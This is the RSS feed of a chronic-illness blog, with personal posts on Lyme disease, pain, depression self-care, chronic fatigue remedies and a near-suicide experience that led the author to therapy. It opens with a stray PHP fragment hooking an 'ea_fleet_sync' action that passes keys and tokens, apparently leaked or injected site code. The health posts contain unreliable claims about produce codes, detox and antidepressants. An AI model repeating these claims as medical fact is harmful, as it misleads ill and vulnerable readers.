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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Chronic/Invisible Illness Archives - Blissfully Healing https://blissfullyhealing.com/category/chronic-illness/ In search of life, meaning, and balance Sun, 31 Jul 2022 03:45:03 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://blissfullyhealing.com/wp-content/uploads/2022/01/cropped-blissfully-healing-pinterest-profile-1-32x32.jpg Chronic/Invisible Illness Archives - Blissfully Healing https://blissfullyhealing.com/category/chronic-illness/ 32 32 139782009 Warrior Stories: Sophie Ward’s Journey With Lyme Disease https://blissfullyhealing.com/warrior-stories-sophie-wards-journey-with-lyme-disease/ Thu, 08 Sep 2022 17:00:00 +0000 https://blissfullyhealing.com/?p=2625 About Me: My name is Sophie Ward. I’m 28 years old from Lancashire in the U.K.  I suffer from chronic Lyme Disease. I was diagnosed at the age of 23 but I caught Lyme way back when I was 14. …

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]]> About Me:

My name is Sophie Ward.

I’m 28 years old from Lancashire in the U.K. 

I suffer from chronic Lyme Disease.

I was diagnosed at the age of 23 but I caught Lyme way back when I was 14. It took me a whole 9 years to be diagnosed and listened to. Those 9 years were the darkest and scariest years of my life. As no doctor or family member believed me. 

But let’s go back a little… 

I caught Lyme at 14 whilst being out in China for the Beijing Olympics in 2008. Back then I swam for Great Britain and my goal was to compete at the London Olympics in 2012. But due to Lyme, my health slowly at first but by the time I was 18 had rapidly begun to decrease. 

I suffered from infection and infection and an endless list of symptoms that I had no answers for.

Doctors just told me I was depressed from retiring from swimming. As when I was 16 I was forced into retirement as my body just wasn’t well enough anymore to keep up the intense training. 

Yes, of course, I was depressed but I was also suffering from a disease that needed attention. 

Because my doctors were saying it was in my mind and just depression, my family listened to the professionals and believed them over me.

It caused me to hide away from the world and my loved ones for 5 years as my health deteriorated and so I didn’t have to explain myself or be judged by loved ones.

I was barely coping and I wanted to die.

I lived alone so it was easy to hide away as well. 

When I was finally diagnosed in 2017 my family couldn’t believe it. And it hit my Mum hard. I think she also had the guilt of not believing me. But overnight she became my carer. 

Now I have to take SO many herbal meds just to keep my body stable and go for regular infusions when I catch an infection to help fight them.

What is Lyme Disease though!?

Lyme disease is a tick-borne illness. 

If treated in the first 2 weeks of infection, with antibiotics you can fight the infection and make a full recovery but…

If left, it begins to highjack your body and immune system. 

It drills into your cells and organs making them poorly and it suppresses the immune system so then it no longer fights the Lyme off. 

It’s a horrible and terrible disease. 

And it comes with debilitating symptoms. 

Who I Am Today:

It’s made me a stronger person and warrior but it has come with struggles and it makes life unbearable at times with the symptoms that come with it. 

I have turned my negative into a positive. Pumping my heart and soul into awareness and education through my social media platforms. 

Thank you for listening to my story.

I hope you don’t suffer from this disease 🦠 but if you do, I’d love to hear your story too. 

My Instagram is @sophiewardy come and give me a follow and let’s chat. 

And you can listen to my podcast: Chronic But Iconic on Spotify and Apple Podcasts. 

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]]> 2625 A Chronic Illness Story: “Oh… that’s what I’m grateful for” https://blissfullyhealing.com/a-chronic-illness-story-oh-thats-what-im-grateful-for/ Tue, 06 Sep 2022 17:00:00 +0000 https://blissfullyhealing.com/?p=2516  I sat there, limp, on my antique Swahili divan couch, which is endowed with gold and cream covers, my body propped up with pillows as it could no longer hold its form.  I sat there, numb, my arms like noodles …

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]]>  I sat there, limp, on my antique Swahili divan couch, which is endowed with gold and cream covers, my body propped up with pillows as it could no longer hold its form.  I sat there, numb, my arms like noodles splayed between my legs as I assessed my situation. I could feel the pain emanating from the top of my cerebellum, courageously beaming down my spine and spreading to every inch of my being. Every joint in my body was having a different conversation, each speaking in the same language of PAIN! Each with a slightly different dialect.

…I mean, I needed my head to be propped up and held, for me to drink from a straw, and as I tried to hold anything the language of my fingers was very loudly expressed as “I CAN’T HOLD THAT!” with a pleading tone of “Please don’t make me.” … I was not in good shape

The Breakthrough

I sat there limp, not much thought going through my mind until I noticed my ceiling fan. White, fashionably winged with a gold center. “It’s a beautiful fan,” I thought. Then the breakthrough arrived.

“Ohhh. That’s what I’m thankful for.”

It was funny. It was a moment in which the realization came before the analysis. Usually, my realizations arrive after an analysis. But this was different.

…

My brain was on fire. This fire wasn’t as bad as others, but it was still debilitating. So thinking was slow, speaking was slow, remembering was slow, and understanding was slow. But that thought charged through all the fog and arrived like a bullet train. Settling itself elegantly on the ceiling fan. “Oh… that’s why I’m grateful” it was funny because then a question arose, “What do you mean?”

Then I got the pleasure of indulging myself in observing a lovely conversation unfold in my mind, pulling me far from the pulsating throbs of the many aches of my body.

The Conversation

So the conversation began.

“Ohhhhhh….. so that’s why I’m grateful.“

“Why? What do you mean?“

“Well, when I wake up in the morning I’m always in a chorus of gratitude… Singing many thanks as I assess my body from the night.“

Backstory: There is usually pain, the pain range changes, but it has been a very long time since I have woken up with pain any less than 5 on a scale of 0-10. I think the day I wake up with a pain level of about 4 or 3, I might just run a marathon, but then that would bring me back to the pain level of infinity on a pain scale of 0-10. On this pain scale, I occasionally get infinity, but infinity doesn’t come up very often and when it does, it’s usually because I slipped up in some way in regards to securing my environment and diet, or something out of my control happened, like the building being painted without my knowledge. That’s a story for a different day.

So there I was, observing the conversation:

“I never really know why I am so grateful, but there is always a part that feels in debt, almost as if the number of thanks and gratitude I say out loud and feel through every part of me will pay some of that debt. I sing my thanks, I emanate my gratitude and I write my gratitude… long before I get out of bed. Some parts never understand why the extreme gratitude and to be honest, I don’t think the conscious mind ever really understands these degrees of gratitude, but at this moment, limp, in extreme amounts of pain, as I looked at that fan. Something clicked.“

“What clicked?”

“This… this… this situation in which I can barely move, I can barely hold myself with my cane, I cannot hold anything, I can barely sit, so I must be propped up… This… This… Thiiisssssss… is why I emanate gratitude every morning.“

Acknowledging Reality

To be honest, I forget what it feels like to be on an infinite level of pain when it is not actively happening. I live with a regular scale of 5-10, and I forget the infinity pain levels because trust me, you would not want to remember that on a daily basis. But it seems that there is a part that hangs on desperately to that memory, even when the rest of us forget, that part remembers that small situations and circumstances can easily take away that functional pain scale of 5-10 and catapult me into a broken ceiling pain scale that has no measurable means. 

I sat there filled with gratitude and in awe that I just had a breakthrough with my brain on fire. The fact that I got a moment of such clarity in moments filled with so much pain, filled me with an infinite amount of joy.

I forget when I am up and about, living life as close to normal as I possibly can… believe me… it takes a whole lot to make that happen. I forget just how sick I actually am.

Finding Gratitude in Pain

I forget that certain things can cause paralysis. I forget that certain things can keep me immobile for days, I forget that sometimes I might not be able to walk, and talking becomes a big challenge. As crazy as this sounds, those infinity pain scales are the biggest gifts I can get sometimes. They remind me just how fragile I am…

They remind me just how fragile life actually is, and without a doubt, they put into perspective just how lucky and blessed I actually am. I’m a lucky little sucker. I get to live, I get to live well, and without a doubt, I get to live better than a majority of the population of humanity. And not just that… I’m that lucky little sucker that has managed to make it so far into life with such a debilitating condition. 

I used to hate, fear, and often lament infinity pain scale days and weeks. But now,  I have come to value them. I don’t look forward to them… NEVER… as a matter of fact, I do everything in my power to make sure they don’t happen. But when they do, I welcome them, they are an essential part of me, they are a reality check, a reminder, and more so, a valuable information tool in the memory bank of my do’s and don’ts to stay alive. It’s a large memory bank with tons of filing cabinets and when a trigger catapults me into infinity, I get to analyze myself, my surroundings, and the days before and see what triggered me. If it’s something that is already in the memory banks, I reinforce the importance of avoiding that trigger and flag it. If it is something not in the memory  banks, I add it with emphasis, urgently flagged with DANGER DANGER DANGER

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]]> 2516 16 Must-Haves For Dealing With Depression. https://blissfullyhealing.com/16-must-haves-for-dealing-with-depression/ Wed, 08 May 2019 16:15:41 +0000 https://blissfullyhealing.com/?p=1250 Depression. Oh my… There are many things to say about depression, but those with it, know very well the speechless nature of the symptoms. The despair, the silent cry for help that you do not understand, the hollow depths of …

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]]> Depression. Oh my…

There are many things to say about depression, but those with it, know very well the speechless nature of the symptoms. The despair, the silent cry for help that you do not understand, the hollow depths of sadness unimaginable before, the lack of desire to function, to live and to be, the desire for social isolation, and the worst of them all, the regret that occasionally washes over , leaving you lamenting for the life you had that feels an impossible reality now. Not to mention regretting the cutting of relations, the availed adventures, the passage of time that will never be gained back. Last but not least, the nameless emotions that wreak havoc, the feelings of loss, doubt, distrust, fear, shame, and guilt.

Need I say more?!

Everyone experiences depression differently.

Like a fingerprint, depression makes its mark special in each of us. With that in mind, realize that you will need to create a personal survival kit and routine that works best for you.

Below are some of the things that are making a tremendous difference in how I face depression. Granted, I have good days and without a doubt also have devastating days, but maintaining the things below helps with the depths of depression I experience and how functional I am through the days.

1. Morning routine:

The best gift you can possibly give yourself is the gift of a slow, gentle peaceful morning. If this requires that you wake up a bit early, so be it. But you need a morning that consists of activities that are gentle, calming, grounding that will help you connect to your body, mind and breath.

My routine: I begin slowly, first taking my time in bed before getting up, by doing some breathing exercises mixed with some gentle stretches.

I suffer from a number of chronic illnesses and their symptoms are a mile long. The most difficult time in my day is right when I wake up. The amount of pain I experience is numbing, to say the least, so I begin the morning with breathing exercises to get myself acquainted with my body and the pains I am experiencing that morning, do some light stretches while lying down, then spend a good deal of time heating my body before getting out of bed. Depending on the severity of my pains that day, this step could take anywhere from 30minutes to two hours.

I have learned (the hard way) to respect what my body is saying and give it what it needs. If it’s two hours to be able to move out of bed, so be it.

I then set up my essential oil burner, meditate, yoga, take a walk (if I am able) and journal/write poetry while sitting in the sun.

2. Night routine:

As far as I am concerned, a good night routine prepares you for a good night’s sleep, which is imperative for depression. Lack of proper sleep can easily get you onto a rumination cycle, a suicidal ideation cycle or any of the many other depression cycles that exist.

Also, a steller night routine sets you up for a good morning routine which sets you up to survive the day.

3. Meditation time

I cannot stess how important this is.

You need time to assess, befriend and understand what is going on inside you and the best way to do this is through meditation.

You need to befriend yourself and the best way to do that is to understand yourself and meditations offers a door into the world of self-understanding. There are many apps out there that have guided meditation and classes on how to do meditation and such. Get yourself on the meditation train. This step has been a major game changer for my depression health journey

Programs I use:

  • Calm: The app has guided meditations, sleep stories and a number of other mindfulness tools, along with a depression masterclass that can help you through your healing journey.
  • Insight Timer: The app also has guided meditations, but in a very different format than calm.

Of the two, I prefer calm which I use on a daily basis and use insight timer from time to time.

4. Time for Breathing

Oh boy, it might sound silly, but most people do not know how to breathe properly. Which causes major issues with anxiety, panic, and breathing-related concerns, but, when it comes to depression, learning how to breath can be an incredible way to revitalize your body and allow yourself time to feel.

One of the things I have realized is that the only way out of depression is through it.

You will actually need to feel what depression is asking you to feel. You will need to feel the despair, the pain, the agony, the lack of want of life, etc etc. You will need to understand those and get to a place where you know what those symptoms mean to you.

The only way I manage to get through those very difficult emotions, sensations and thoughts is with breath. Well, actually, sometimes I run from them, but that only makes the situation worse. So when I stop to face them, I make sure that I monitor my breath and seek it’s assistance as I face the unbearable.

5. Intentional Movement:

This can be yoga, tai-chi, walking meditation etc.

This is an opportunity for you to connect your body to your breath and hopefully both to your mind. Of course, I am not suggesting anything too rigorous.

Just set yourself up with a very gentle, kind and compassionate practice. It allows you to be in a meditative state, with breathing exercises that are connected to movement. The hope here is to get you to to connect to yourself, be present with yourself and create understanding.

6. Self care days i.e Depression days

Alright, so I have non-days, otherwise known as depression days.

I have a day in the week that belongs to no-one but me. Granted, I am single, without kids, but if you are married, in a relationship and have kids and other family obligations, you will need to discuss with them about a day or half a day in which you are alone, left alone to do as you please.

If this means you spend the whole day in bed, with the curtains drawn and binge watching something. That’s fine.

The point here is that you need to listen to your depresssion and as much as we want to fight it, sometimes we just need to do what depression wants of us. That may be to completely cut yourself off and that is ok.

The reasons I think it’s important to indulge depression within limits (i.e depression day) is because you feel the way you feel for a reason. Feeling that feeling and indulging in depression is part of your recovery.

These days are powerful for me. They make me feel capable.

7. Daily quiet time

Part of the depression problem is a lack of space; mental, social, emotional, etc.

You need to create time, daily, when you just are. Whether its to drink a cup of tea, read a book, take a walk etc, you need daily time to disconnect from everything and everyone and simply connect with yourself (This is a plea against technology) watching a show is not quiet time.

8. An excellent healing team:

Therapist, psychiatrist, chiropractor, reiki specialist, masseuse, acupuncturist, cupping specialist, herbalist, meditation instructor, breathing expert, nutritionist. I think this point speaks for itself.

Create for yourself a team that will help you through this recovery process. I can tell you from experience, you cannot go through this journey alone. You will need people who understand what you are going through and offer you assistance with compassion, kindness and care.

9. Community and support:

Seek out joy and laughter.

Now, this has been a difficult thing for me to do. At best, all I want to do is be as far as possible any human being. Energy is required to maintain relationships and to be honest, I simply don’t have it.

Between my physical and mental chronic illnesses, I barely have enough energy to get myself through the morning.

Things I have learned:

I have learned that there are people who energize, while there are people who suck the energy right out of me. We are not speaking of any extraneous activities, at the moment, I am speaking of just their presence. I have also learned that big gathering induce my anxiety and panic attacks

Although, I have also realized that gathering with people who I love gives me energy and desire to keep going.

Unfortunately, you will have to learn, as I have, to avoid the people who make you feel worse even though you may love some of them to death.

You will need to create space from negativity and surround yourself with positivity. This might mean that you need to start creating a community of support and love separate from your current community of loved ones.

10. Self-discovery journey:

You need to create self-compassion, self-love, self-kindness and simply be the person you need from someone else. Be that source of love and understand you wish to get from others. When the world feels like it’s falling apart, be able to tell yourself, “I’m here, I got you” and feel the safety and reassurance you are looking for.

11. Laughter:

Surround yourself with positive energy, people, shows and the such. Research has shown that laughter affects levels of cortisol, dopamine and other hormones known to affect mood, stress and depression.

So laugh it up whenever you have the chance. Watch funny shows, videos, and movies. Surround yourself with people who make you laugh and simply offer you a positive environment.

12. Organization:

Clean, de-clutter and get rid of unnecessary things.

This will be monumental in your healing journey. As part of the process, you will need to let go of things that no longer serve you.

Organization can be difficult during depression, but I have found that getting organized improves how I feel.

13. De-clutter :

Remove, remove, remove. Remove things, ideas, beliefs, should’s and cant’s that are hurting you and simply lighten your load

14. A project:

Something to keep your mind off your woes (hobby, bucket list etc). This is the perfect time to rekindle a lost hobby, craft or explore something new The purpose of this point is to help you rekindle joy.

Advice: Start slow.

15. Anti-inflammatory diet.

Studies have shown that an anti-inflammatory diet can be a powerful tool in dealing with depression.

Whether or not you are on medication, coupling that with an anti-inflammatory diet, anti-inflammatory supplements and an active lifestyle will do you a world of good.

16. Probiotics and supplements

Studies have also shown that there is a big connection between the gut and the brain and taking a good probiotic can make a very big difference in your depression journey.

***

I know, some of you are probably thinking, “is she insane, she just mentioned how deep depression can sink you. Besides, that sounds like a whole lot of work.”

Yes. It. Is.

And the answer to all the questions and arguments that will pop up trying to prevent you from doing the work, should be, “because I am worth it.”

Now, to be honest, I am still struggling with that part. The “because I am worth it” part and on the days when that statement feels like a stretch, I go with, “because life is worth it” and on the days that is a stretch, I go with “there is still so much to see and so much to do” and occasionally I go with “there is still so much to accomplish”.

And on the days when all of them feel like a stretch, I roll with “this is all hard and that’s ok” and offer myself whatever I need for that day. Whether it’s isolation, tears, writing, binge-watching, etc etc.

I offer myself whatever I need to get myself back to “because I am worth it”

This article is urging you to change your lifestyle.

I think depression is a call for change. Imagine it to be a revolution within yourself for the need for change. Only it’s not millions of people on the streets demanding a change, it’s your body screaming for your attention, urging you to notice the ways in which it is struggling to survive.

A word of caution: The most important thing you need to realize about the effort you will put in, is that you need to take it a step at a time, give it time and take it easy. Develop self-compassion and kindness, discover yourself in the process and let the journey lead the way.

The depression healing journey is not a day thing, or a week, or even a year thing. It’s a life long journey. I remind myself often that the magic of my recovery will not be in the destination, it’s all in the journey that I am living now. A sentiment I am slowly learning to accept.

Related Posts:

When suicidal thoughts are rampant

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]]> 1250 7 Natural Ways to Survive Chronic Fatigue Syndrome https://blissfullyhealing.com/7-natural-ways-to-survive-chronic-fatigue-syndrome/ Thu, 31 Jan 2019 01:09:59 +0000 https://blissfullyhealing.com/?p=1212 A few days ago my chronic fatigue hit! Not just hit, but crept up on me and sucker punched me with a knockout. Suddenly my energy was back to its norm, non-existent. My aches and pains were doubled in intensity …

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]]> A few days ago my chronic fatigue hit!

Not just hit, but crept up on me and sucker punched me with a knockout.

Suddenly my energy was back to its norm, non-existent. My aches and pains were doubled in intensity and my ability to function was very low.

I was once again calculating how to get from my bedroom to the kitchen to warm up food and how to get from my bedroom to the bathroom. Let’s just say, I calculated a shower for days before I was actually able to take it, but it required a significant amount of prep and a significant amount of recover time.

So here I am again, wondering what in the world I had been doing that made my chronic fatigue syndrome manageable, and where I went wrong?

By manageable I mean, functional until around 1 pm when I would need a 2-hour nap to get through the rest of the day, wake up at 3pm and sleep by 9pm.

Photo by Lisa Hobbs on Unsplash

Now I need to get back into bed at around 10am(that is being generous with time, it’s more like 9:32, 9:48) and even a nap doesn’t give me enough energy to manage through the day. So I spend my day in bed resting so I can be able to do the basics of my life like doctors appointments, cook and use the bathroom.

It has been about 3 months since I was in this depth of fatigue and once it hit again I started asking myself what I had done before and during that three months that set me up for a manageable chunk of time.

1. Fight Inflammation:

I once read that where there is fatigue, there is inflammation, which completely changed how I looked at fatigue. I know that I have issues with inflammation (flare-ups, fever outbursts, brain fog) but I did not realize that my chronic fatigue was also an indication of inflammation. Sadly, for me, this means that I am always inflamed.

How?:

  • Increase detox (Epsom salt and bentonite clay baths, steam room or sauna, take chlorella tablets, drink detox juices and smoothies etc)
  • Watch your toxic intake load (watch out for mold, voc’s, gmo’s, hormones and antibiotics in foods, toxic ingredients in daily household products etc)
  • increase omega 3 foods and supplements,
  • shift to an anti-inflammatory diet (preferably an organic one)
  • Watch your carbohydrate and sugar intake
  • Do your best to reduce and manage your physical and emotional stressors
  • Drink anti-inflammatory teas on a daily basis
    • This is my daily ammo. I alternate between turmeric, tumeric-ginger and peppermint tea through the day. I have missed some days and on those days I realized just how much of a difference this routine makes on my inflammation and pain levels.

2. Diet:

Part of fighting inflammation and maintaining the right amount of energy is eating right.

Food is fuel. aaannndddd … Food is medicine.

What you ingest helps or hinders your body’s ability to create the energy it needs. So eating a balanced diet (whatever that means for you) is extremely important.

My body has been fighting food and I have become intolerant and inflammatory to almost everything but lean meat and seafood.

Regardless of what type of eating program you are on, make sure that each meal is balanced. So make sure you have a significant amount of protein, paired with healthy carbohydrates and fats.

Now I know that fatigue in itself can create a challenge in eating right, I mean if you dont have enough energy to make it to the kitchen, where will you muster up the willpower to fight your junk food and sugar cravingss.

But this point matters.

What you eat affects your energy levels and inflammation, and your inflammation affects your fatigue, brain fog, pain levels, and swelling etc etc.

How?

  • Remove caffeine, gluten, sugar, processed and other inflammatory foods
  • Eat clean (focus on fruits and vegetables that have not been grown with pesticides or gmos.)
    • Read the barcode on your fruits and vegetables
      • If it starts with a 4xxx it was grown with pesticides
      • If it starts with an 8xxxx it was genetically modified
      • If it starts with a 9xxxx, it is organic.
    • Food is the body’s fuel and tainted fuel will limit the quality and type of our energy.
  • Increase protein intake (protein facilitates the slow release of energy)
    • Carbohydrates and fats are excellent sources of energy, but the amount of protein you intake dictates the release and stability of that energy.
    • Without protein, the food you ingest will give you energy, sometimes an obscene amount in a short period of time, then a crash.
      • For me, this means being extremely jittery, light headed and nauseous, then extremely tired in a very short period of time.

3. B-12 shots

I read numerous accounts of chronic fatigue syndrome sufferers who have benefitted from B-12 shots and also found a number of research articles of studies done on the topic.

According to a study conducted at the Institute of Neuroscience and Physiology at Sweden’s Gothenburg University, the methylcobalamin version of B-12 shots combined with regular doses of folic acid increase energy and reduce fatigue and other symptoms caused by chronic fatigue syndrome.

So I tried it and it worked like magic.

Frequency: There are numerous opinions of how often the shots should be taken, but it’s all a matter of what works for you. It also depends on the strength of the dose you take.  But it is definitely worth considering.

4.Detox

Toxins such as VOCs, mold, pesticides in our food, heavy metals, and toxins in household cleaning products significantly tax our systems and make it very difficult for our natural detoxifying system to do its job and clean out the body properly.

Basically, it’s as though you are trying to clean mud-covered floors with a tiny toothbrush, but the mud keeps flowing in.

When you have an overabundance of toxins in your system, your detox agents can only do so much, so you will need to help them out.

  • How: Increase detox baths or foot soaks
  • Help the liver by taking a liver-care or liver support
  • Take a strong detox agent like chlorella (this also significantly helps reduce inflammation)

5. Proper Sleep

Nap

Now there are discussions that support naps and some that do not.

Some chronic fatigue clinics encourage chronic fatigue patients to push through the day (with increased rest) so that they can have qualitative sleep at night.

For some this advice works, but for someone like me, skipping a nap actually sets me up for a very bad night followed by an unmanagemable day. If I don’t nap, I have insomnia.

Basically, what I would advice you is to figure out what works for you.

If pushing through the day works for you. I must stress that make sure when the slump starts to hit you take rest, by that I mean, slow your pace, just lay down and let your body muster up some energy, but make sure that you do not force your body because it will burn out, which might lead to a flare-up and other symptoms, which might need days to recover from.

Sleep early

The biggest gift you can give yourself when you have chronic fatigue is proper night’s sleep.

First, You need to make sure that you have the proper support for proper sleep. This means getting the right sleeping situation, mattress/bed, sleeping on the floor, couch, whatever works for you.

If you are mattress shopping, just make sure your mattress has not been sprayed with voc’s which will increase your inflammation, fatigue and cause other health problems.

Second, set up a proper sleep schedule and support it.

Whether this means taking a nap or not, shutting down all electronics an hour or 2 before sleeping or having a sleep routine (brushing your teeth, washing your face, gentle yoga, meditation, reading) that primes your mind and body for sleep.

Third, set a sleep hour.

For me this means I sleep between 9 and 10pm.

Telling myself I need to sleep by 9 or 10 freaks me out and I start panicking when the time arrives. Granted sometimes I start getting ready for bed at 8 pm but allowing myself an hour gives me time to do my sleep routine and lay down in the dark if insomnia is bugging me.

6. Exercise:

Now this is a tricky one.

There is a need for exercise to reduce chronic fatigue syndrome symptoms, but there is also a limit to how much your body can handle depending on your situation.

At the moment I have been reduced to a very gentle and short yoga sequences in the morning followed by a walk.

I struggle with depression and occasionally I have a serious need for exertion that is not fulfilled by my gentle yoga and walk routine.

So a few weeks ago I convinced myself that I would be ok working out “for real” like I used to do and boy did I pay for it. (I love working out, I am one of those people that can spend 3 to 5 hours in the gym without feeling that I have spent that much time working out.)

Granted, while working out I felt like I was on the top of the world, and perhaps I pushed a lot more that I should have. (I ended up doing a 10-minute walk, 45-minute RUN and a 10-minute walk.)

When I got going with that run and caught that rhythm… aaaaaahhhhh. But I spent the next three days in bed swollen to my face. My face was swollen!!!

Here is what I have learned with my body, as inflammation goes down, my capability to handle for rigorous forms of exercise increases. But as long as inflammation is lurking, I have to keep to a gentle exercise routine.

But I do need a daily exercise routine to manage my symptoms.

7.Supplements:

I literally live on pills.

As my body becomes more resistant to foods and other things, I find that I need to increase the supply of supplements to help me function. These are the supplements I have found that help with chronic fatigue.

  1. Probiotics
  2. Adrenal support
  3. Vitamin D
  4. L-Carnitine
  5. Quercetine
  6. Potassiam and megnesium
  7. Adult B complex

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]]> 1212 When Suicidal Thoughts Are Rampant https://blissfullyhealing.com/when-suicidal-thoughts-are-rampant/ Sat, 15 Sep 2018 19:22:51 +0000 https://blissfullyhealing.com/?p=1026 I remember the day like it was yesterday. It was an early Sunday morning in February. I had been back home in San Diego (from a torturous 4 month trip to Kenya) for a few weeks and significantly struggling with …

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]]> I remember the day like it was yesterday.

It was an early Sunday morning in February. I had been back home in San Diego (from a torturous 4 month trip to Kenya) for a few weeks and significantly struggling with depression, anxiety, panic attacks, severe agoraphobia and seizures.

Suicidal thougts
Photograph by Daniel Dolson on Unsplash

Backstory:

My physical health wasn’t holding up very well, as has been my norm for the last few years. I was in constant pain, my stomach couldn’t stomach anything, so vomiting, diarrhea and constipation were a norm, and I was always tired. Not just tired, I would spend most of my days and nights in bed and would make significant effort, more like I would need to calculate the energy needed to get up and out to get food, shower or even leave the house, and would need significant rest after expending that energy.

All that coupled with full body inflammation attacks that left me fatigued, in pain, unable to move and simply in tears.

My 4 month trip to Kenya was agonizing to say the least. I had spent the first 3 in a narcissistic abuse pressure cooker and the last month tirelessly fighting to get out of that marriage.

When I landed in San Diego, I cried. A hearty, whole hearted, weeping of release, gratitude and freedom. I was beyond grateful that I had just made my way out of that relationship and given myself a new opportunity of life.

When I came back, I made the effort to re-establish my norm. Of course  I knew it would not be easy or take a short time. Recovery from a narcissist is a lifelong journey that I then added to my list of recovery journeys.

I started with regularly visiting one of my favorite places in San Diego, that during my marriage was a regular piece of contention and argument. The Scripps Oceans Reserve. A rugged cliff 300ft above the crashing waves overlooking the pacific ocean. I made it a regular sunday morning trip.

I was free.

I would go and still go with a thermos of tea and just sit. Observe. Breathe. Exist. Most often, weep, cry and just allow myself to be.

Thoughts That Fight Back

On this fateful day, I made my way to the cliffs early as usual, before the sun fully awakens so I may catch a glimpse of schools of dolphins and other schools of marine life that disappear with the morning fog.

I sat there in contemplation. One of the many things I had been struggling with, were depths of depression that brought/bring about despair and thoughts of suicide. Usually beginning with questions that I can’t seem to find answers to and the spiral brings me all the way down to, so what is the point? Why even try? Wouldn’t death be better than this? Etc etc.

I usually hold my own against these thoughts.

I challenge them, fight them, argue with them, reason with them and most of the time manage to win. By the end of the conversation between myself and I, I manage to offer myself a sense of acceptance and validation of those thoughts and manage to reason myself out of that specific episode.

Usually ending with, why don’t we sleep it off, or watch a cartoon, or whatever else that serves as a positive compromise. During these situations, I treat myself like a separate person and reason, offer care, kindness and whatever else I think I need to help me at that time.

When The Suicidal Thought Becomes Something Else

On this day, there was no thought. There was an urge.

As I sat there, hundreds of feet above the cliff, I drank in the peace that came with this place, closed my eyes, listened to the waves and the silence that comes with isolation.

I was truly at peace, all I have ever wanted was peace.

When I opened my eyes, there was a seagull gently floating above the water, emanating exactly what I was feeling and all I remember was a gentle voice, JUMP and my whole body convulsed to that word.

I stood petrified and in shock .

This time, there was no conversation, no argument, just action. I realized that I was in a much deeper hole than I thought I was. To this point, my doctor had given me multiple referrals to a therapist and a psychiatrist and had been urging me to go during every appointment, which were a lot. But I had been telling myself that I was OK enough to manage.

This incident made me realize that I needed more help than I could and can offer myself.

I walked away.

I didn’t look back or stop to listen or converse with myself. I walked.

Usually, as I walk away from the cliffs, I walk for a little bit, stop,  listen to the waves and look back at the ocean, allowing myself to enjoy the view and sounds of fading waves from different perspectives. But on this day, I didn’t stop, or allow myself to think. I just walked, got into my car and drove straight home.

The next day, I made an appointment with the therapist my doctor had referred me to.

Now, I have two therapists. An EMDR specialist, who I see weekly and my talk therapist, who I see once every two weeks.

Suicidal Thoughts And Depression

When suffering from severe depression, suicidal thoughts can be extremely overpowering. I cannot lie to you, I am not fully out of the gray area of suicidal thoughts.

But I have significant help outside of my head, my therapists help me process what I feel, how I interact with the things that happened and the things that keep happening that make me feel like I just ought to do away with myself.

Is Depression A Spiritual Problem?

No. This is not a spiritual problem.

As a matter of fact, religious rulings pertaining to my divorce were part of the problem that made me feel like I ought to do away with myself. So no, I don’t need to just pray about it and it will go away. NOPE.

Depression is an imbalance in the neurotransmitters of the brain. A lot of things can cause an imbalance in the brain. For me, childhood trauma, severe life challenges and a narcissistic abuse that resurfaced every bit of trauma I have ever experienced in my life, took my already imbalanced brain, into deeper depths of depression than I have ever experienced in my life.

I just wanted death.

Not just death to end it all, but death where the only mercy I would be under is God’s Mercy. There would be nothing but the truth, nothing but what my hands have actually put forward, and nothing but God and I. No man’s opinion of a ruling, or judgement of my actions would be part of the picture.

Managing Suicidal Thoughts

I am still working through my depression and suicidal thoughts.

I refused all psychotic drugs that have been offered to me, as a psychology major, I know how they work and just how destructive they can be. The saddest part about anti-depressants is that they only help about 50% of the people who take them, and cause a whole host of other problems.  I digress.

I decided to take the long way out of this and put my trust in the part of me that wants healing for myself. So I make myself go to my appointments, late or not. I go.

I make myself take care of myself.

I do what I love and what makes me feel worthwhile without thinking too much or I will get all the way back to ‘what is the point?’ and down the cliff we go.

So I dance, sing, workout, write, color, draw, drive, watch cartoons, listen to music, meditate, yoga, tai-chi, kickbox etc etc. Hardest of all, I make myself reconnect with friends. Best of all, I dream, create and fulfill items on a bucket list.

Listening to Depression

If I truly listened to myself, all I would do, always, is isolate myself is my room, with my room darkening curtains drawn, laying in my bed, mind numbing my mind with movies or books. I find that movies and books are an escape, I leave my reality and all the thoughts that create it and jump into something pleasant that makes me feel good about life.

Because I want to respect that part of myself that fights to be left alone, I give myself one day a week when I let myself just be, dark room and all, and truly do as I truly want to do without forcing myself to feel better. Funniest this is, these are the days I feel happiest. 

I realize that sometimes depression just needs to be felt. Not analyzed, feared, threatened or fought. Sometime you just need to listen, experience and accept.

Hope Lives

There is a part of me that sees a bright future for myself, one filled with balance, joy, ease, tranquility, healing, health and best of all global service. But when the lows really hit, none of that truly matters, and no vision is strong enough to make me want to live and I just have to find it in myself to somehow keep hanging on.

Relevant Posts:
16 Must-Haves for dealing with depression

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]]> 1026 When the World Thinks Your Illness is All in Your Head https://blissfullyhealing.com/when-the-world-thinks-your-illness-is-all-in-your-head/ Wed, 12 Sep 2018 19:46:59 +0000 https://blissfullyhealing.com/?p=939 Over the last few years, I have visited many doctors from various backgrounds and have come to realize that when modern medicine doctors face a challenge they cannot give answers to, the tables suddenly turn onto the patient.  Suddenly, we …

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]]> Over the last few years, I have visited many doctors from various backgrounds and have come to realize that when modern medicine doctors face a challenge they cannot give answers to, the tables suddenly turn onto the patient.  Suddenly, we are no longer looking for what the problem is, we are claiming insanity on my part.

The parting sentiments usually flows like this, “Since all the tests I have done are normal, and other doctors seem to have found the same results, perhaps the problem is all in your head.” Of course they don’t use these exact words, but I think I would have preferred those words over the “diplomatic” ways they try to tell me that I may be insane.

Then my question becomes, why should the doctor’s inability to find what I am suffering from turn into a mistake on my part, and not just a mistake, a flaw that questions the validity of my sanity?

illness is all in your head
Photograph by Gabriel Matula (Unsplash)

Unfortunately, doctors are not the only ones suffering from this delusion, if I may call it that.

See, I cannot explain my illness because it has not offered me a name to understand it with. Even though I put fair effort in trying to find it. I understand my symptoms, what causes them, how they begin and what to do to keep them at levels 1-3, and what steps to take when they elevate into higher stages.

That I know.

What I don’t know is, what I have, how it began and why it began.

Those are questions I cannot answer.

How I Deal with My Illness:

I try my best not to talk about my illness to people unless they know something about my health history, inquire about it, or if my illness interferes with scheduled plans. This is my general rule on how to interact with my illness when third party individuals are involved.

For the most part, I deal with 3 different groups:

